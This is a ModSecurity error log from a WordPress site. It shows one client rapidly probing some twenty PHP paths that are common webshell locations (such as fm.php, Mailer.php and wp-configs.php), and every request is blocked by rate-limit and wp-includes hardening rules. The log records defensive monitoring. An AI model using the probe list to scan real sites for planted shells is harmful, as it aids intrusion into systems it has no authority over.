[Mon Dec 01 19:59:36.903801 2025] [:error] [pid 5158:tid 5183] [client 4.215.220.131:53789] [client 4.215.220.131] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/.well-known/acme-challenge/admin.php"] [unique_id "aS2DKFsnIOgHXYZw9rY2uQAAAZc"]
[Mon Dec 01 19:59:37.224393 2025] [:error] [pid 5158:tid 5182] [client 4.215.220.131:53790] [client 4.215.220.131] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/.well-known/acme-challenge/admin.php"] [unique_id "aS2DKVsnIOgHXYZw9rY2ugAAAZY"]
[Mon Dec 01 19:59:37.532360 2025] [:error] [pid 3246:tid 3255] [client 4.215.220.131:53860] [client 4.215.220.131] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/.well-known/acme-challenge/admin.php"] [unique_id "aS2DKVkT8fezoNl7qjeCFgAAAEY"]
[Mon Dec 01 19:59:37.805897 2025] [:error] [pid 3307:tid 3323] [client 4.215.220.131:53805] [client 4.215.220.131] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/.well-known/acme-challenge/admin.php"] [unique_id "aS2DKUhV_0w1hrv72n7_0QAAAQ4"]
[Mon Dec 01 19:59:38.133627 2025] [:error] [pid 3307:tid 3316] [client 4.215.220.131:53855] [client 4.215.220.131] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "vetstars.com.au"] [uri "/wp-includes/0.php"] [unique_id "aS2DKkhV_0w1hrv72n7_0gAAAQc"]
[Mon Dec 01 19:59:38.390227 2025] [:error] [pid 3307:tid 3319] [client 4.215.220.131:53770] [client 4.215.220.131] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/plugins/Cache/footer.php"] [unique_id "aS2DKkhV_0w1hrv72n7_0wAAAQo"]
[Mon Dec 01 19:59:38.760558 2025] [:error] [pid 5120:tid 5129] [client 4.215.220.131:53772] [client 4.215.220.131] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/plugins/Cache/footer.php"] [unique_id "aS2DKj5X7_hfFhnUCkLV3QAAAUc"]
[Mon Dec 01 19:59:39.033996 2025] [:error] [pid 5158:tid 5171] [client 4.215.220.131:53768] [client 4.215.220.131] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/plugins/Cache/footer.php"] [unique_id "aS2DK1snIOgHXYZw9rY2wAAAAYs"]
[Mon Dec 01 19:59:39.301012 2025] [:error] [pid 3247:tid 3286] [client 4.215.220.131:53841] [client 4.215.220.131] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "vetstars.com.au"] [uri "/wp-includes/style-engine/about.php"] [unique_id "aS2DKyMO2n3Q0MZfETI3ogAAAMo"]
[Mon Dec 01 19:59:39.632888 2025] [:error] [pid 5120:tid 5135] [client 4.215.220.131:53869] [client 4.215.220.131] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/404.php"] [unique_id "aS2DKz5X7_hfFhnUCkLV3gAAAU0"]
[Mon Dec 01 19:59:39.954174 2025] [:error] [pid 3246:tid 3270] [client 4.215.220.131:53852] [client 4.215.220.131] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/404.php"] [unique_id "aS2DK1kT8fezoNl7qjeCGgAAAFU"]
[Mon Dec 01 19:59:40.238266 2025] [:error] [pid 3307:tid 3326] [client 4.215.220.131:53828] [client 4.215.220.131] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/404.php"] [unique_id "aS2DLEhV_0w1hrv72n7_1wAAARE"]
[Mon Dec 01 19:59:40.510601 2025] [:error] [pid 3247:tid 3279] [client 4.215.220.131:53879] [client 4.215.220.131] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/404.php"] [unique_id "aS2DLCMO2n3Q0MZfETI3pgAAAMM"]
[Mon Dec 01 19:59:40.755329 2025] [:error] [pid 3247:tid 3293] [client 4.215.220.131:53874] [client 4.215.220.131] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/i1.php"] [unique_id "aS2DLCMO2n3Q0MZfETI3qAAAANE"]
[Mon Dec 01 19:59:41.161669 2025] [:error] [pid 3247:tid 3296] [client 4.215.220.131:26591] [client 4.215.220.131] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/i1.php"] [unique_id "aS2DLSMO2n3Q0MZfETI3qgAAANQ"]
[Mon Dec 01 19:59:41.490451 2025] [:error] [pid 5120:tid 5132] [client 4.215.220.131:26597] [client 4.215.220.131] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/i1.php"] [unique_id "aS2DLT5X7_hfFhnUCkLV4gAAAUo"]
[Mon Dec 01 19:59:41.825571 2025] [:error] [pid 3307:tid 3320] [client 4.215.220.131:53782] [client 4.215.220.131] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/i1.php"] [unique_id "aS2DLUhV_0w1hrv72n7_2gAAAQs"]
[Mon Dec 01 19:59:42.344040 2025] [:error] [pid 5158:tid 5177] [client 4.215.220.131:53835] [client 4.215.220.131] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/link.php"] [unique_id "aS2DLlsnIOgHXYZw9rY2xgAAAZE"]
[Mon Dec 01 19:59:42.653210 2025] [:error] [pid 3307:tid 3327] [client 4.215.220.131:53769] [client 4.215.220.131] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/link.php"] [unique_id "aS2DLkhV_0w1hrv72n7_3QAAARI"]
[Mon Dec 01 19:59:43.034927 2025] [:error] [pid 3384:tid 3406] [client 4.215.220.131:53771] [client 4.215.220.131] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/link.php"] [unique_id "aS2DL4rlvm8bC96s6ZFTAgAAAJQ"]
[Mon Dec 01 19:59:43.392104 2025] [:error] [pid 3343:tid 3368] [client 4.215.220.131:53794] [client 4.215.220.131] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/link.php"] [unique_id "aS2DL7Lh6htIpruGDDnS8wAAABc"]
[Mon Dec 01 19:59:43.696025 2025] [:error] [pid 3247:tid 3294] [client 4.215.220.131:53875] [client 4.215.220.131] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/images/m.php"] [unique_id "aS2DLyMO2n3Q0MZfETI3rwAAANI"]
[Mon Dec 01 19:59:43.974565 2025] [:error] [pid 3247:tid 3298] [client 4.215.220.131:53807] [client 4.215.220.131] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/images/m.php"] [unique_id "aS2DLyMO2n3Q0MZfETI3sAAAANY"]
[Mon Dec 01 19:59:44.255782 2025] [:error] [pid 3307:tid 3319] [client 4.215.220.131:53838] [client 4.215.220.131] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/images/m.php"] [unique_id "aS2DMEhV_0w1hrv72n7_4QAAAQo"]
[Mon Dec 01 19:59:44.545828 2025] [:error] [pid 3343:tid 3353] [client 4.215.220.131:53857] [client 4.215.220.131] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/images/m.php"] [unique_id "aS2DMLLh6htIpruGDDnS-AAAAAg"]
[Mon Dec 01 19:59:44.872374 2025] [:error] [pid 3343:tid 3345] [client 4.215.220.131:53818] [client 4.215.220.131] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-admin/js/themes.php"] [unique_id "aS2DMLLh6htIpruGDDnS-wAAAAA"]
[Mon Dec 01 19:59:45.248130 2025] [:error] [pid 3343:tid 3365] [client 4.215.220.131:53774] [client 4.215.220.131] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-admin/js/themes.php"] [unique_id "aS2DMbLh6htIpruGDDnS_QAAABQ"]
[Mon Dec 01 19:59:45.570930 2025] [:error] [pid 3307:tid 3315] [client 4.215.220.131:26561] [client 4.215.220.131] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-admin/js/themes.php"] [unique_id "aS2DMUhV_0w1hrv72n7_5AAAAQY"]
[Mon Dec 01 19:59:45.975061 2025] [:error] [pid 3307:tid 3333] [client 4.215.220.131:26576] [client 4.215.220.131] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-admin/js/themes.php"] [unique_id "aS2DMUhV_0w1hrv72n7_5QAAARg"]
[Mon Dec 01 19:59:46.301109 2025] [:error] [pid 5120:tid 5137] [client 4.215.220.131:53801] [client 4.215.220.131] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/xx.php"] [unique_id "aS2DMj5X7_hfFhnUCkLV5gAAAU8"]
[Mon Dec 01 19:59:46.593634 2025] [:error] [pid 3343:tid 3359] [client 4.215.220.131:53762] [client 4.215.220.131] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/xx.php"] [unique_id "aS2DMrLh6htIpruGDDnTAAAAAA4"]
[Mon Dec 01 19:59:46.831507 2025] [:error] [pid 3384:tid 3395] [client 4.215.220.131:53776] [client 4.215.220.131] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/xx.php"] [unique_id "aS2DMorlvm8bC96s6ZFTCwAAAIk"]
[Mon Dec 01 19:59:47.143377 2025] [:error] [pid 3307:tid 3326] [client 4.215.220.131:53834] [client 4.215.220.131] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/xx.php"] [unique_id "aS2DM0hV_0w1hrv72n7_6QAAARE"]
[Mon Dec 01 19:59:47.436048 2025] [:error] [pid 3307:tid 3332] [client 4.215.220.131:53773] [client 4.215.220.131] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/mail.php"] [unique_id "aS2DM0hV_0w1hrv72n7_6wAAARc"]
[Mon Dec 01 19:59:47.856153 2025] [:error] [pid 3343:tid 3350] [client 4.215.220.131:53877] [client 4.215.220.131] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/mail.php"] [unique_id "aS2DM7Lh6htIpruGDDnTAwAAAAU"]
[Mon Dec 01 19:59:48.150343 2025] [:error] [pid 3343:tid 3361] [client 4.215.220.131:26572] [client 4.215.220.131] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/mail.php"] [unique_id "aS2DNLLh6htIpruGDDnTBAAAABA"]
[Mon Dec 01 19:59:48.607298 2025] [:error] [pid 3384:tid 3393] [client 4.215.220.131:53836] [client 4.215.220.131] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/mail.php"] [unique_id "aS2DNIrlvm8bC96s6ZFTEAAAAIc"]
[Mon Dec 01 19:59:49.000835 2025] [:error] [pid 3343:tid 3348] [client 4.215.220.131:53829] [client 4.215.220.131] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/.well-known/fm.php"] [unique_id "aS2DNLLh6htIpruGDDnTBwAAAAM"]
[Mon Dec 01 19:59:49.411828 2025] [:error] [pid 3384:tid 3405] [client 4.215.220.131:53880] [client 4.215.220.131] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/.well-known/fm.php"] [unique_id "aS2DNYrlvm8bC96s6ZFTEwAAAJM"]
[Mon Dec 01 19:59:49.829656 2025] [:error] [pid 5158:tid 5170] [client 4.215.220.131:26586] [client 4.215.220.131] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/.well-known/fm.php"] [unique_id "aS2DNVsnIOgHXYZw9rY2zgAAAYo"]
[Mon Dec 01 19:59:50.106482 2025] [:error] [pid 5158:tid 5164] [client 4.215.220.131:53764] [client 4.215.220.131] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/.well-known/fm.php"] [unique_id "aS2DNlsnIOgHXYZw9rY2zwAAAYQ"]
[Mon Dec 01 19:59:50.509363 2025] [:error] [pid 3343:tid 3365] [client 4.215.220.131:53776] [client 4.215.220.131] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/17.php"] [unique_id "aS2DNrLh6htIpruGDDnTDAAAABQ"]
[Mon Dec 01 19:59:51.036894 2025] [:error] [pid 3384:tid 3408] [client 4.215.220.131:53850] [client 4.215.220.131] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/17.php"] [unique_id "aS2DN4rlvm8bC96s6ZFTGAAAAJY"]
[Mon Dec 01 19:59:51.473374 2025] [:error] [pid 3384:tid 3404] [client 4.215.220.131:53779] [client 4.215.220.131] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/17.php"] [unique_id "aS2DN4rlvm8bC96s6ZFTGgAAAJI"]
[Mon Dec 01 19:59:51.755386 2025] [:error] [pid 3247:tid 3300] [client 4.215.220.131:26595] [client 4.215.220.131] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/17.php"] [unique_id "aS2DNyMO2n3Q0MZfETI3xQAAANg"]
[Mon Dec 01 19:59:52.104196 2025] [:error] [pid 5120:tid 5138] [client 4.215.220.131:53872] [client 4.215.220.131] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/0.php"] [unique_id "aS2DOD5X7_hfFhnUCkLV6gAAAVA"]
[Mon Dec 01 19:59:52.422049 2025] [:error] [pid 5120:tid 5126] [client 4.215.220.131:53883] [client 4.215.220.131] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/0.php"] [unique_id "aS2DOD5X7_hfFhnUCkLV6wAAAUQ"]
[Mon Dec 01 19:59:52.877167 2025] [:error] [pid 5158:tid 5165] [client 4.215.220.131:53791] [client 4.215.220.131] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/0.php"] [unique_id "aS2DOFsnIOgHXYZw9rY20wAAAYU"]
[Mon Dec 01 19:59:53.181872 2025] [:error] [pid 3343:tid 3350] [client 4.215.220.131:53881] [client 4.215.220.131] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/0.php"] [unique_id "aS2DObLh6htIpruGDDnTEQAAAAU"]
[Mon Dec 01 19:59:53.571235 2025] [:error] [pid 3384:tid 3398] [client 4.215.220.131:53885] [client 4.215.220.131] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-admin/maint/Mailer.php"] [unique_id "aS2DOYrlvm8bC96s6ZFTHQAAAIw"]
[Mon Dec 01 19:59:53.866473 2025] [:error] [pid 3246:tid 3257] [client 4.215.220.131:26592] [client 4.215.220.131] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-admin/maint/Mailer.php"] [unique_id "aS2DOVkT8fezoNl7qjeCOAAAAEg"]
[Mon Dec 01 19:59:54.292810 2025] [:error] [pid 3343:tid 3349] [client 4.215.220.131:53783] [client 4.215.220.131] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-admin/maint/Mailer.php"] [unique_id "aS2DOrLh6htIpruGDDnTEwAAAAQ"]
[Mon Dec 01 19:59:54.612091 2025] [:error] [pid 3307:tid 3310] [client 4.215.220.131:53844] [client 4.215.220.131] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-admin/maint/Mailer.php"] [unique_id "aS2DOkhV_0w1hrv72n4AAwAAAQE"]
[Mon Dec 01 19:59:54.951886 2025] [:error] [pid 3247:tid 3283] [client 4.215.220.131:53806] [client 4.215.220.131] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-configs.php"] [unique_id "aS2DOiMO2n3Q0MZfETI3zAAAAMc"]
[Mon Dec 01 19:59:55.293998 2025] [:error] [pid 5158:tid 5181] [client 4.215.220.131:26578] [client 4.215.220.131] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-configs.php"] [unique_id "aS2DO1snIOgHXYZw9rY22AAAAZU"]
[Mon Dec 01 19:59:55.803830 2025] [:error] [pid 3247:tid 3288] [client 4.215.220.131:53853] [client 4.215.220.131] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-configs.php"] [unique_id "aS2DOyMO2n3Q0MZfETI30QAAAMw"]
